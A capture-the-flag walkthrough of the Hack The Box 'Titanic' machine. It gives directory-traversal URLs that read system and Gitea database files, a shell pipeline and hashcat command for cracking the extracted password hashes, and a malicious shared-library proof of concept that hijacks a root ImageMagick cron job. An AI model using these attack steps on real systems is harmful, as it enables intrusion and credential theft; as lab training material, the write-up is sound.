🛥️Titanic
Lets’s start with a bit of recon

22 and 80 open, it’s a web machine as always, let’s enumerate eventual hidden pages and folders

let’s check if there are some subdomains

We found a second service on the server, it’s a local git repository hosting service, Gitea

looking around we found some useful credentials

and the backend routing that hints us for a directory traversal

we can retrieve the ticket json, but there are no checks on the file types to retrieve so let’s try
titanic.htb/download?ticket=../../../../../etc/passwd
something has been downloaded….

wonderful.
We can read user flag (user is “developer”, so titanic.htb/download?ticket=../../../../../home/developer/user.txt
will work) and submit it, but need to find a way to get inside.
The Gitea documentation mention a ~/gitea/data/gitea/conf/app.ini
config file

Download the Database in the specified path, connect to it and have a look at the user
table
http://titanic.htb/download?ticket=../../../../../../../../../home/developer/gitea/data/gitea/gitea.db
sqlite3 gitea.db
.table
select * from user
;

it seems to use pbkdf2 for hashing, to make it readable from hashcat we need to do a bit of shenanegans.
This is the format hashcat wants:

so: sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
The database extraction contains passwd and salt and says that we have pbkdf2$50000$50
that means that we’re using 50000 iterations.
Moreover, the hashcat example uses base64, we have hex, so the steps are:
extract passwd, salt and name
select passwd,salt,name
for each line, separate the digest, salt and name
$digest=(echo $line | cut -d"|" -f1)
,$salt=(echo $line | cut -d"|" -f2)
and$name=(echo $line | cut -d"|" -f3)
for the digest and the salt, print the hex and convert it to base64
echo $digest | xxd -r -p | base64
andecho $salt | xxd -r -p | base64
recreate the string in the format
"${name}:sha256:50000:${salt}:${digest}"
putting all together we have:
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
thanks to 0xdf’s post for the explaination.
crack it
hashcat -m 10900 gitea.hashes /usr/share/wordlists/rockyou.txt —user

and ssh into the machine
Let's enumerate for some privesc
no sudo -l
no SUID
no useful sockets open
random guess: let’s look for some suspicious ‘scripts’ folder

Let's have a look

The script seems to do the following:
change folder
truncate log file metadata.log
find any .jpg file in
/opt/app/static/assets/images/
pass it to
magick identify
command and put it to metadata.log
wtf is magick?


NICE.
The code used in the poc is the following
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("id");
exit(0);
}
EOF
we’ll change the ‘id’ command to something more useful to us
cat /root/root.txt >> /tmp/root.flag
when the library disappears, the root cron has ben ran and we can check the /tmp/
folder

Done.
Last updated